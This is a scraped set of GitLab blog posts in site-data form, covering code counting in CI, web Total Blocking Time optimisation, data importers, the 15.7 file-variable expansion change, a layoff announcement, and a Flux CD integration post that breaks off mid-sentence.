some of the final design attributes of this code counting solution:\n\n- Is extremely fast for the given task.\n- Leverages the Git clone opitimizations lessons contained in this article: [How much code do I have? A DevSecOps story](https://acloudguru.com/blog/engineering/how-much-code-do-i-have-a-devsecops-story).\n- Uses the [lightning fast, open source code counting tool SCC](https://github.com/boyter/scc) by Ben Boyter.\n- Is implemented as a reusable GitLab CI shared library extension.\n- Allows configuration of the file extensions that should not be checked out because they do not include source code to be counted.\n- Leverages the GitLab Run Pipeline forms capability.\n- Can enumerate and count an entire group hierarchy in GitLab, or be given a stipulated list.\n- Uses the runner token to access and read repositories by default, but can be given a specific token.\n- Uploads HTML and text artifacts that contain the code counting report.\n- Purposely emits the code counting results into CI logs for easy reference.\n\n### The output\n\nResults are shown below in the CI log but they are also captured as an HTML artifact.\n\nThe clone time is also in the log for each project so that it can be verified that the cloning optimizations are making a substantial difference.\n\nThese particular results are counting all the code in [https://gitlab.com/guided-explorations](https://gitlab.com/guided-explorations).\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/code-counting-in-gitlab/codecountingcilog.png)\n\n### The code\n\nThe code is available in this project: [https://gitlab.com/guided-explorations/code-metrics/ci-cd-extension-scc](https://gitlab.com/guided-explorations/code-metrics/ci-cd-extension-scc). You can view the scanning results in the job logs of past runs here: [https://gitlab.com/guided-explorations/code-metrics/ci-cd-extension-scc/-/pipelines](https://gitlab.com/guided-explorations/code-metrics/ci-cd-extension-scc/-/pipelines).\n\nRather than fail the entire job when a project fails to clone, the job simply logs the error from an attempted clone. This allows review of valid use cases for not being able to clone and obtains as complete of a picture as possible. The cloning error log is uploaded as a job artifact and emitted to the log.\n\n### Innovation: MR complexity metrics extension\n\nDuring a customer engagement I was asked whether there was a way to assess how much change a Merge Request contained and mark it. This was because an operations team was missing their SLAs for deployments due to the amount of change, and, therefore, risk and review could be highly variable. However, since there was no way to estimate this without human eyes on it, MRs with a high degree of change would overrun their SLA when they couldn’t be pre-triaged.\n\nI wondered if I could use the previously built code counting solution to count diffs and get a rough idea of how much change had occurred in the commits of an MR branch and then apply labels to MRs to give at rough idea of their degree of change as a sort of proxy for how much review time might be required.\n\nIt turned out to be plausible and you can review the [Shared Library in Git Diff Revision Activity Metrics CI EXTENSION](https://gitlab.com/guided-explorations/code-metrics/git-diff-revision-activity-metrics) and see the results in the MRs list of this working example project that uses that code: [MR list for Diff Revision Activity Analytics DEMO](https://gitlab.com/guided-explorations/code-metrics/diff-revision-activity-analytics-demo/-/merge_requests).\n\n### The value of remote work water cooler conversations\n\nI have to let you know why this blog was written now when this solution has been around for quite a while. You often hear about how working remotely does not allow for water cooler conversations, which in the story you’re told are where real innovation happens.\n\nWithin GitLab’s [Remote First culture](/company/culture/all-remote/guide/) it is expected that anyone in the company can schedule a “coffee chat” with anyone else. The cultural expectation is that this is normal and, unless you are getting an overwhelming number of these requests, that when asked, you will find time to socially connect.\n\nI received a coffee chat request from [Torsten Linz](https://gitlab.com/tlinz), the Senior Product Manager for the Source Code Management group, to chat about my comments and linking of a working example to an issue about code counting that he had become aware of. He also wanted to see if I could help get a copy of it working in his GitLab group.\n\nDuring that collaborative time, I discovered that my example was not working because of some major code changes in SCC and because it presumed the GitLab group to be enumerated did not need the counting job to authenticate to prove that it should have access to the projects. While we were collaborating, we fixed these problems and improved the solution to use the SCC binary, rather than depend on working Golang runtimes. After our collaborative session, as I tweaked some more, I did parameter documentation in README.md and debugged the ability to run it either with a group enumeration or a provided list of specific git repos.\n\nSo I owe big thanks to Torsten and to GitLab’s cultural support for remote first water cooler conversations for improving this working example to the point that it is worth sharing with a broader audience. If you’d like to know more, check out the GitLab handbook page: [Informal communication in an all-remote environment](/company/culture/all-remote/informal-communication/).\n\n_Cover image by [NOAA](https://unsplash.com/@noaa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/lightning-fast?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_\n",[4103,2488,1384],{"slug":11018,"featured":6,"template":678},"code-counting-in-gitlab","content:en-us:blog:code-counting-in-gitlab.yml","Code Counting In Gitlab","en-us/blog/code-counting-in-gitlab.yml","en-us/blog/code-counting-in-gitlab",{"_path":11024,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11025,"content":11031,"config":11038,"_id":11040,"_type":16,"title":11041,"_source":17,"_file":11042,"_stem":11043,"_extension":20},"/en-us/blog/understanding-and-improving-total-blocking-time",{"title":11026,"description":11027,"ogTitle":11026,"ogDescription":11027,"noIndex":6,"ogImage":11028,"ogUrl":11029,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11029,"schema":11030},"Total Blocking Time - The metric to know for faster website performance","Learn how to identify and fix some root causes for high Total Blocking Time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682637/Blog/Hero%20Images/tbt_cover_image.jpg","https://about.gitlab.com/blog/understanding-and-improving-total-blocking-time","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Total Blocking Time - The metric to know for faster website performance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacques Erasmus\"}],\n        \"datePublished\": \"2023-02-14\",\n      }",{"title":11026,"description":11027,"authors":11032,"heroImage":11028,"date":11034,"body":11035,"category":734,"tags":11036},[11033],"Jacques Erasmus","2023-02-14","\n\nOur world overwhelms us with information that is more accessible than ever. The increasing rates of content production and consumption are gifts that keep on giving. We can't seem to keep up with the information thrown at us. We're limited by our cognitive limitations and time constraints, and a [recent study](https://www.nature.com/articles/s41467-019-09311-w) concluded the result is a shortening of attention spans. Websites are no exception.\n\nUsers who interact with your website want feedback, and want it fast. Preferably immediately! Website performance has become an important factor in keeping users engaged. But how do you measure how unresponsive a page is before it becomes fully interactive?\n\nMany [performance metrics](https://web.dev/vitals/) exist, but this blog post focuses on Total Blocking Time (TBT).\n\n## What is Total Blocking Time?\n\nTBT measures the total amount of time tasks were blocking your browser's main thread. This metric represents the total amount of time that a user could not interact with your website. It's measured between [First Contentful Paint (FCP)](https://web.dev/fcp/) and [Time to Interactive (TTI)](https://web.dev/tti/), and represents the combined blocking time for all long tasks.\n\n## What is a long task?\n\nA long task is a process that runs on the main thread for longer than 50 milliseconds (ms). After a task starts, a browser can't interrupt it, and a single long-running task can block the main thread. The result: a website that is unresponsive to user input until the task completes.\n\nAfter the first 50 ms, all time spent on a task is counted as _blocking time_. This diagram shows five tasks, two of which block the main thread for 140 ms:\n\n![A diagram containing five tasks, two of which are blocking the main thread. The TBT for these tasks adds up to 140 ms.](https://about.gitlab.com/images/blogimages/tbt/tasks_diagram.png)\n\n## How can we measure TBT?\n\nMany tools measure TBT, but here we’ll use [Chrome DevTools](https://developer.chrome.com/docs/devtools/evaluate-performance/) to analyze runtime performance.\n\nAs an example: We recently improved performance on GitLab's [**View Source** page](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). This screenshot, taken before the performance improvement, shows eight long-running tasks containing a TBT of **2388.16 ms**. That's more than **two seconds**:\n\n![A screenshot indicating that there are eight long-running tasks. The TBT of these tasks adds up to 2388.16 ms.](https://about.gitlab.com/images/blogimages/tbt/summary_before.png)\n\n## How can we improve TBT?\n\nAs you might have guessed by now, reducing the time needed to complete long-running tasks reduces TBT.\n\nBy selecting one of the tasks from the previous screenshot, we can get a breakdown of how the browser executed it. This **Bottom-Up** view shows that much time is spent on rendering content in the Document Object Model (DOM):\n\n![A screenshot of the Bottom-Up view of one of tasks from the previous screenshot. It indicates that most of the time is being spent on rendering content in the DOM.](https://about.gitlab.com/images/blogimages/tbt/task_7_before.png)\n\nThis page has a lot of content that is below the fold – not immediately visible. The browser is spending a lot of resources upfront to render content that is not even visible to the user yet!\n\nSo what can we do? Some ideas:\n\n- **Change the UX.**\n  - Add a Show More button, paging, or virtual scrolling for long lists.\n- **Lazy-load images.**\n  ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65745))\n    - Lazy-loading images reduces page weight, allowing the browser to spend resources on more important tasks.\n- **Lazy-load long lists.**\n  ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71633))\n    - Similar to lazy-loading images, this approach allows the browser to spend resources on more important tasks.\n- **Reduce excessive HTML.**\n  ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65835))\n    - For example, when loading large pages consider removing unnecessary content. Or, consider rendering some content (like icons) with CSS instead.\n- **Defer rendering when possible.**\n    - The [`content-visibility: auto;`](https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility) CSS property ensures the rendering of off-screen elements (and thus irrelevant to the user) is skipped without affecting the page layout. ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67050))\n    - The [Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API) allows you to observe when elements intersect with the viewport. This information can be used to show or hide certain elements. ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71633))\n    - The global [`requestIdleCallback` method](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback?qs=requestIdleCallback) can be used to render content after the browser goes into an idle state.\n  ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101942/diffs#7eed73783787184e5b1c029b9668e48638f3a6e8_64_78))\n\nFrameworks such as VueJS and React are already heavily optimized. However, be mindful of how you use these frameworks to avoid expensive tasks.\n\n### Change VueJS usage to improve TBT\n\nThis screenshot shows the **Bottom-Up** view of a task. Much of the task time is spent on activities from third-party code in the VueJS framework:\n\n![A screenshot of the Bottom-Up view of one of tasks. It indicates that a lot of the time is being spent on activities in the third-party VueJS framework.](https://about.gitlab.com/images/blogimages/tbt/task_6_before.png)\n\nWhat improvements can we make?\n\n- **Use [Server-side rendering (SSR)](https://gitlab.com/gitlab-org/gitlab/-/issues/215365) or [streaming](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/101)** for pages that are sensitive to page load performance.\n- **If you don't _need_ Vue, don't use it.**\n  Component instances are a lot more expensive than using plain DOM nodes. Try to avoid unnecessary component abstractions.\n- **Optimize component [props](https://vuejs.org/guide/components/props.html).**\n  Child components in Vue update when at least one of their received props are being updated. Analyze the data that you pass to components. You may find that you can avoid unnecessary updates by making changes to your props strategy.\n- **Use [v-memo](https://vuejs.org/api/built-in-directives.html#v-memo) to skip updates.**\n    - In Vue versions 3.2 and later, `v-memo` enables you to cache parts of your template. The cached template updates and re-renders only if one of its provided dependencies changes.\n- **Use [v-once](https://vuejs.org/api/built-in-directives.html#v-once) for data** that does not need to be reactive after the initial load.\n  ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101942))\n    - `v-once` ensures the element and component are only rendered once. Any future updates will be skipped.\n- **Reduce expensive tasks in your Vue components.**\n  Even a small script may take a long time to finish if it’s not optimized enough. Some suggestions:\n    - By using [`requestIdleCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback?qs=requestIdleCallback) you can defer the execution of the non-critical tasks. ([example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101942/diffs#7eed73783787184e5b1c029b9668e48638f3a6e8_64_78))\n    - By executing expensive scripts in [WebWorkers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers) you can unblock the main thread.\n\n### Results and methods\n\nBy using three of the methods suggested above, we reduced TBT from about **3 seconds** to approximately **500 ms**:\n\n![A chart indicating a drop in TBT from ~3 seconds to ~500 milliseconds.](https://about.gitlab.com/images/blogimages/tbt/chart_after.png)\n\nWhat did we do?\n\n- Deferred rendering by using the [`content-visibility: auto;`](https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility) CSS property.\n- Deferred rendering by using the [Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API).\n- Used [v-once](https://vuejs.org/api/built-in-directives.html#v-once) for content that didn't need to be reactive after rendering.\n\nRemember, the size of the decrease always depends on how optimized your app already is to begin with.\n\nThere is a lot more we can do to improve TBT. While the specific approach depends on the app you're optimizing, the general methods discussed here are very effective at finding improvement opportunities in any app. Like most things in life, a series of the smallest changes often yield the biggest impact. So let's [iterate](/blog/dont-confuse-these-twelve-shortcuts-with-iteration/) together, and adapt to this ever-changing world.\n\n> “Adaptability is the simple secret of survival.” – Jessica Hagedorn\n\n_Cover image by [Growtika](https://unsplash.com/@growtika?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/Iqi0Rm6gBkQ?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_\n",[11037,1268,696],"frontend",{"slug":11039,"featured":6,"template":678},"understanding-and-improving-total-blocking-time","content:en-us:blog:understanding-and-improving-total-blocking-time.yml","Understanding And Improving Total Blocking Time","en-us/blog/understanding-and-improving-total-blocking-time.yml","en-us/blog/understanding-and-improving-total-blocking-time",{"_path":11045,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11046,"content":11051,"config":11056,"_id":11058,"_type":16,"title":11059,"_source":17,"_file":11060,"_stem":11061,"_extension":20},"/en-us/blog/gitlab-importers",{"title":11047,"description":11048,"ogTitle":11047,"ogDescription":11048,"noIndex":6,"ogImage":9684,"ogUrl":11049,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11049,"schema":11050},"How to migrate data to GitLab using main importers","Learn about the capabilities of main importers, which are used to import data from external tools and from other GitLab instances.","https://about.gitlab.com/blog/gitlab-importers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to migrate data to GitLab using main importers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-02-13\",\n      }",{"title":11047,"description":11048,"authors":11052,"heroImage":9684,"date":11053,"body":11054,"category":734,"tags":11055},[691],"2023-02-13","\n\nA typical organization looking to adopt GitLab already uses many other tools. Artifacts such as code, build pipelines, issues, and epics will already exist and be changed daily. A seamless transition of work in progress is, therefore, critically important when importing data. GitLab importers aim to make this process easy and reliable, ensuring data is imported quickly and with maximum care.\n\nAt GitLab, a dedicated development team, named group:import, creates a seamless experience when importing data into GitLab or from one GitLab instance to another. This team continuously develops and improves the importing experience and keeps our importers up to date with new features and capabilities.\n\n## Migrate groups by direct transfer\n\nUsing group migration, you can import groups from one GitLab instance to another instance. The most common use case is to import groups from self-managed GitLab instances to GitLab.com (GitLab SaaS). With the group migration, you can migrate many groups in a single click.\n\n### Which items are imported?\n\nThe group migration imports the entire group structure, including all the sub groups and projects in them. Currently, to import projects as part of the group migration on self-managed GitLab, the administrator needs to enable the feature flag named `bulk_import_projects`. On GitLab.com, our SaaS offering, migration of both groups and projects is available. More information can be found in our [documentation](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended).\n\nThe team continuously adds objects to the migration, but not all group items are imported. The docs cover the [items that are imported](https://docs.gitlab.com/ee/user/group/import/#migrated-group-items). \n\n### How can groups be imported?\n\nIt is very simple to import groups between two instances. Here are the steps: \n\n- Create a new group or subgroup in the designated instance \n- Select \"Import group\" \n- Connect to the remote instance with your [personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html)\n- Select the source groups you want to import \n- Click \"Import xyz groups\"\n\n![bulk_imports_v14_1](https://about.gitlab.com/images/blogimages/2022-11-15-gitlab-importers/bulk_imports_v14_1.png)\n\n## File-based import/export (the previously used method)\n\nGroup migration is the preferred method to migrate content from one GitLab instance to another, as it automates the process and you can import many groups in a single click. However, for some use cases, such as air-gapped networks when you don't have network connection between the two instances, or when you have environments with limited connectivity, the group migration won't help because it requires connection between the two instances. File-based export/import for [groups](https://docs.gitlab.com/ee/user/group/settings/import_export.html) and [projects](https://docs.gitlab.com/ee/user/project/settings/import_export.html) can be used when there is no connectivity between the instances. \n\nFile-based export/import is a manual process and requires a few steps in order to migrate each group or project. The file-based import/export is available from the UI and in the API. The team plans to disable it by a feature flag soon to encourage users to use group migration. However, you will be able to enable the feature flag in your instance if your use case requires the file-based import/export. More info can be found in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/363406).\n\n## Import projects from external tools  \n\nGitLab has built-in support for import projects from [a variety of tools](https://docs.gitlab.com/ee/user/project/import/).\n\nThe GitHub importer is the most common importer and, therefore, the team invests a lot of effort to add more migrated components. GitLab and GitHub have different structure and architecture, so sometimes it is tricky to import objects from GitHub when the migrated components are implemented differently in GitLab. So the team needs to find creative ways to map some of the features or configurations. This is an example [epic](https://gitlab.com/groups/gitlab-org/-/epics/8585 ) with a proposal to map rules for protected branches when migrating GitHub protected rules. \n\n\n### What can be imported from GitHub to GitLab?\n\n- Repository description\n- Git repository data\n- Branch protection rules\n- Issues\n- Pull requests\n- Wiki pages\n- Milestones\n- Labels\n- Pull request review comments\n- Regular issue and pull request comments\n- Attachments for\n    - Release notes\n    - Comments and notes\n    - Issue description\n    - Merge Request description\n- Git Large File Storage (LFS) objects\n- Pull request reviews \n- Pull request “merged by” information \n- Pull request comments replies in discussions \n- Diff notes suggestions \n- Release note descriptions\n\nHere is a [full list of imported data](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data).\n\nRead what's next in our [GitHub Epic](https://gitlab.com/groups/gitlab-org/-/epics/2984). \n\n### Repository by URL\n\nAn alternative way to import external projects is the Repository by URL option. You can import any Git repository through HTTP from the *Import Project* page, by choosing \"Repository by URL\".\n\nTo learn more about the Importer direction, roadmap, etc., refer to [Category Direction - Importers](/direction/manage/import_and_integrate/importers/).\n\n_Cover image by [Conny Schneider](https://unsplash.com/@choys_?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyTex) on [Unsplash](https://unsplash.com/s/photos/data-migration?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_\n",[696,4103,1268],{"slug":11057,"featured":6,"template":678},"gitlab-importers","content:en-us:blog:gitlab-importers.yml","Gitlab Importers","en-us/blog/gitlab-importers.yml","en-us/blog/gitlab-importers",{"_path":11063,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11064,"content":11069,"config":11073,"_id":11075,"_type":16,"title":11076,"_source":17,"_file":11077,"_stem":11078,"_extension":20},"/en-us/blog/impact-of-the-file-type-variable-change-15-7",{"title":11065,"description":11066,"ogTitle":11065,"ogDescription":11066,"noIndex":6,"ogImage":9425,"ogUrl":11067,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11067,"schema":11068},"Understanding the file type variable expansion change in GitLab 15.7","Learn how the change to file type variable expansion can impact CI jobs that rely on the file contents and what to do.","https://about.gitlab.com/blog/impact-of-the-file-type-variable-change-15-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Understanding the file type variable expansion change in GitLab 15.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2023-02-13\",\n      }",{"title":11065,"description":11066,"authors":11070,"heroImage":9425,"date":11053,"body":11071,"category":736,"tags":11072},[5037],"\n\nIn GitLab 15.7, we stopped expanding `file type` variables in CI jobs. CI jobs that rely on the old expansion method will generate errors and not work. Here is a look at how this change came about, the difference in job outputs, and what to do next.\n\n## Background\n\nGitLab CI has long-supported file type CI/CD variables. This is a helpful feature for CI jobs, as a file variable is a simple way to pass values to an external system. In cases where there is a concern about environment variable size limits, putting the information in a file and using an environment variable to reference the file is a good option.\n\nBefore 15.7, variable expansion expanded the contents of the file referenced in a file type variable. Some users found this expansion behavior to be quite valuable. In looking at some metrics on GitLab.com, for example, we saw over 1,000 unique projects that used a file variable inside another variable. However, other users did not find this unintended behavior helpful and implemented workarounds.\n\nAs expected, a file referenced in a file type variable may contain sensitive data. So performing variable expansion on the file contents could expose that data in the build environment. Even though the risk could be somewhat mitigated, continuing to expand file type variables was not the right approach to ensure the most secure system.\n\n## Example of the job output before and after 15.7\n\n1. Create a file variable via the GitLab UI. For example: `A_FILE_VAR` with the value `this is some super secret content`.\n1. Create a CI job with this content:\n\n```\ntest_job:\n   stage: test\n   variables:\n     REF_FILE_VAR: $A_FILE_VAR\n   script:\n     - echo $A_FILE_VAR\n     - cat $A_FILE_VAR\n     - echo $REF_FILE_VAR\n     - cat $REF_FILE_VAR\n\n```\n\n**Results before 15.7:**\n\n```\n$ echo $A_FILE_VAR\n/builds/test-project-repo/test-project.tmp/A_FILE_VAR\n$ cat $A_FILE_VAR\nthis is some super secret content\n$ echo $REF_FILE_VAR\nthis is some super secret content\n$ cat $REF_FILE_VAR\ncat: can't open 'this': No such file or directory\ncat: can't open 'is': No such file or directory\ncat: can't open 'some': No such file or directory\ncat: can't open 'super': No such file or directory\ncat: can't open 'secret': No such file or directory\ncat: can't open 'content': No such file or directory\n\n```\n\n**Results after 15.7:**\n\n```\n$ echo $A_FILE_VAR\n/builds/test-project-repo/test-project.tmp/A_FILE_VAR\n$ cat $A_FILE_VAR\nthis is some super secret content\n$ echo $REF_FILE_VAR\n/builds/test-project-repo/test-project.tmp/A_FILE_VAR\n$ cat $REF_FILE_VAR\nthis is some super secret content\n\n```\n\nYou will notice in the 15.7+ job output the echo command no longer prints the contents of the file.\n\n## What is the current status of the change?\n\nWe [deprecated](https://docs.gitlab.com/ee/update/deprecations.html#file-type-variable-expansion-in-gitlab-ciyml) this feature in 15.5 and removed it from the code base in [15.7](https://gitlab.com/gitlab-org/gitlab/-/issues/29407). However, we neglected to include a follow-up removal notice in the 15.7 release, so some self-managed customers now upgrading to 15.7+ may have missed the initial deprecation notice.\n\n## What do I need to do before upgrading to 15.7 or higher?\n\n1. Check your CI jobs for any instances where a file variable is referenced inside another variable.\n2. Change the references and test the CI jobs.\n\n## What’s next\n\nSecrets and variable handling are likely some of the most complex areas in a DevSecOps platform. On our end, we are continuously refining our processes to effectively communicate the potential impact of new features or the removal of existing ones. We also recommend that you reach out to us (the Verify team) directly on issues referenced in a release or deprecation notice if it's not clear how a change might affect your CI workflows.\n",[1384,1385,754],{"slug":11074,"featured":6,"template":678},"impact-of-the-file-type-variable-change-15-7","content:en-us:blog:impact-of-the-file-type-variable-change-15-7.yml","Impact Of The File Type Variable Change 15 7","en-us/blog/impact-of-the-file-type-variable-change-15-7.yml","en-us/blog/impact-of-the-file-type-variable-change-15-7",{"_path":11080,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11081,"content":11087,"config":11092,"_id":11094,"_type":16,"title":11095,"_source":17,"_file":11096,"_stem":11097,"_extension":20},"/en-us/blog/gitlab-news",{"title":11082,"description":11083,"ogTitle":11082,"ogDescription":11083,"noIndex":6,"ogImage":11084,"ogUrl":11085,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11085,"schema":11086},"An announcement from GitLab CEO Sid Sijbrandij","Earlier today, GitLab CEO Sid Sijbrandij sent the following note to GitLab team members.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099630/Blog/Hero%20Images/Blog/Hero%20Images/logoforblogpost_logoforblogpost.jpg_1750099629774.jpg","https://about.gitlab.com/blog/gitlab-news","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An announcement from GitLab CEO Sid Sijbrandij\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2023-02-09\",\n      }",{"title":11082,"description":11083,"authors":11088,"heroImage":11084,"date":11089,"body":11090,"category":736,"tags":11091},[711],"2023-02-09","**Earlier today, GitLab CEO Sid Sijbrandij sent the following note to GitLab team members.**\n\nDear GitLab team members,\n\nI have made the decision to reduce the size of our team by 7%. \n\nThis was a very difficult decision, and I understand this may be unexpected to some of you. I’d like to give some context about how we arrived at this outcome. \n\nThe current macroeconomic environment is tough, and as a result, companies are still spending but they are taking a more conservative approach to software investments and are taking more time to make purchasing decisions.\n\nI had hoped reprioritizing our spending would be enough to withstand the growing global economic downturn. Unfortunately, we need to take further steps and match our pace of spending with our commitment to responsible growth.\n\nWe are sad to say goodbye to talented team members who have played an integral part in GitLab's journey to date, and I am thankful for their significant contributions. I am sorry to see them leave the company because of this decision.\n\nEveryone leaving has received a meeting invitation from a manager who will provide additional information.  We are committed to helping you through this challenging time in the following ways:\n\n**Pay through a transition period:** Continued payment to team members who are leaving through the transition period, which may vary by region.\n\n**Severance:** A single payout equal to four months base salary, and payments will be made according to local processes and timing requirements.\n\n**Equity:** We’re accelerating vesting through 2023-03-15 and removing the vesting cliff for team members who have been granted equity and have been with us for under six months.\n\n**Healthcare:** Based on location and current benefit options previously selected by team members, healthcare premiums will be covered for up to six months, where possible.  Modern Health for mental health support will continue for all team members for six months.\n\n**Hardware:** Team members can keep their hardware and home office equipment subject to our security protocols.\n\n**Career support:** We will provide outplacement services with a third-party vendor, including coaching, resume building and guidance, and job-seeking support.\n\nWe know this can be an unsettling experience for team members who are staying. It can be hard to see valued team members leave, and we will host a series of Ask Me Anythings (AMAs) to answer your questions.\n\nSid\n",[736,676],{"slug":11093,"featured":6,"template":678},"gitlab-news","content:en-us:blog:gitlab-news.yml","Gitlab News","en-us/blog/gitlab-news.yml","en-us/blog/gitlab-news",{"_path":11099,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11100,"content":11106,"config":11111,"_id":11113,"_type":16,"title":11114,"_source":17,"_file":11115,"_stem":11116,"_extension":20},"/en-us/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab",{"title":11101,"description":11102,"ogTitle":11101,"ogDescription":11102,"noIndex":6,"ogImage":11103,"ogUrl":11104,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11104,"schema":11105},"GitOps with GitLab: What you need to know about the Flux CD integration","Inside the decision to integrate Flux CD with the GitLab agent for Kubernetes and what it means to you.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678356/Blog/Hero%20Images/balance-speed-security-devops.jpg","https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: What you need to know about the Flux CD integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2023-02-08\",\n      }",{"title":11101,"description":11102,"authors":11107,"heroImage":11103,"date":11108,"body":11109,"category":734,"tags":11110},[2544],"2023-02-08","\n\nIn January, [we decided to integrate Flux CD with the GitLab agent for Kubernetes](https://gitlab.com/gitlab-org/gitlab/-/issues/357947). [Flux CD](https://fluxcd.io/) is a mature GitOps solution and one of the market leaders in the area. We have since decided to make Flux CD our recommended approach to do GitOps with GitLab – previously, the agent for Kubernetes alone was the recommended approach. Let's discuss what this change means for current users and what our plans are for the integration.\n\nFirst of all, let's remove the most worrying thought from the agenda: We are not deprecating any agent for Kubernetes functionality at this point. The GitOps offering remains fully supported and transitions to maintenance mode. We plan to deprecate it with at least one year of removal time once we consider the Flux integration solid. As a result, the removal is unlikely before the GitLab 17.0 release, which is expected in 2024. We are looking into providing tooling to facilitate (or automate) the migration once the time comes. If you use the agent for Kubernetes for GitOps, you don't have to do anything at this time.\n\nThis change does not affect the agent's other non-GitOps functionality either. The [CI/CD pipeline integration](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html) and [operational container scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) remain intact, and we will continue investing in them.\n\n## What to expect from this change\n\nFrom now on, instead of building our solution for GitOps, we will focus on supporting Flux and improving its user experience when it is used together with GitLab. Flux CD will become the recommended tool to do GitOps with GitLab. Initially, we will provide documentation on the Flux setup we recommend for our users while we focus on building out various integrations.\n\nIn terms of the integrations, we are looking at providing a UI built into GitLab. You might also be able to use the UI with other tools, including the CI pipeline integration of the agent, but it will work best with deployments managed by Flux. Besides the UI integration, we want to streamline Flux's access management. Flux accesses GitLab through the regular GitLab front door. As a result, it needs to authenticate with a token, requests might be rate-limited, and, in general, it does not seem to be the most efficient way to do its job. We plan to simplify this for our users to avoid the necessity of managing dozens of deploy keys and to decrease the load on GitLab at the same time.\n\n## Why Flux?\n\nWhy did we choose Flux CD instead of something else? We evaluated several options. There are other open-source GitOps tools. The biggest contender was [ArgoCD](https://argoproj.github.io/cd), another mature Cloud Native Computing Foundation project in the GitOps space. ArgoCD is a full-featured product for GitOps, while Flux is a GitOps toolkit. While we like and value ArgoCD a lot, we think it does not lend itself to integration with GitLab.\n\nAs we are already in the process of building out UI integrations with the cluster, we know how the GitLab UI will be able to reach the Kubernetes API. Flux relies on the standard Kubernetes API 100%, so we can easily integrate it into our UI access approach. Relying only on the Kubernetes API is a significant benefit over ArgoCD, which provides a custom API.\n\nBesides going with another tool, we evaluated the work needed to build a competitive, in-house solution. We found in-house development is the strongest contender to Flux CD, and while it was very compelling, we decided to go with the integration instead. We believe this should give our customers more value faster than a custom solution. Moreover, it should enable existing Flux users to benefit from our integrations with minor modifications in their usage patterns as we roll out the integrations.\n\n## What comes next?\n\nFirst, we want to [document our recommendations for using FluxCD with GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/389382). At the same time, we will change our GitOps documentation to recommend Flux instead of the legacy GitOps solution. We consider these the most important steps to minimize uncertainty and set you up for a successful start.\n\nTogether with the above, the team is working hard on shipping the first version of an [integrated Kubernetes UI](https://gitlab.com/gitlab-org/gitlab/-/issues/375449). We are starting with an environment overview and build an [entire Kubernetes dashboard](https://gitlab.com/groups/gitlab-org/-/epics/2493) as part of GitLab. The cluster UI integration will enable GitLab users to learn more about their cluster state without leaving the GitLab UI and should allow a nearly real-time view of GitOps deployments using Flux CD.\n\nWe have clear ideas on how to do what I described above. We are still researching and learning about many other topics, including [how to simplify Flux best accessing GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/389393). If you have experience using Flux with GitLab and have any feedback, recommendations, or requests on what the integration should support, we would like to hear from you. Please, reach out to me using [my GitLab 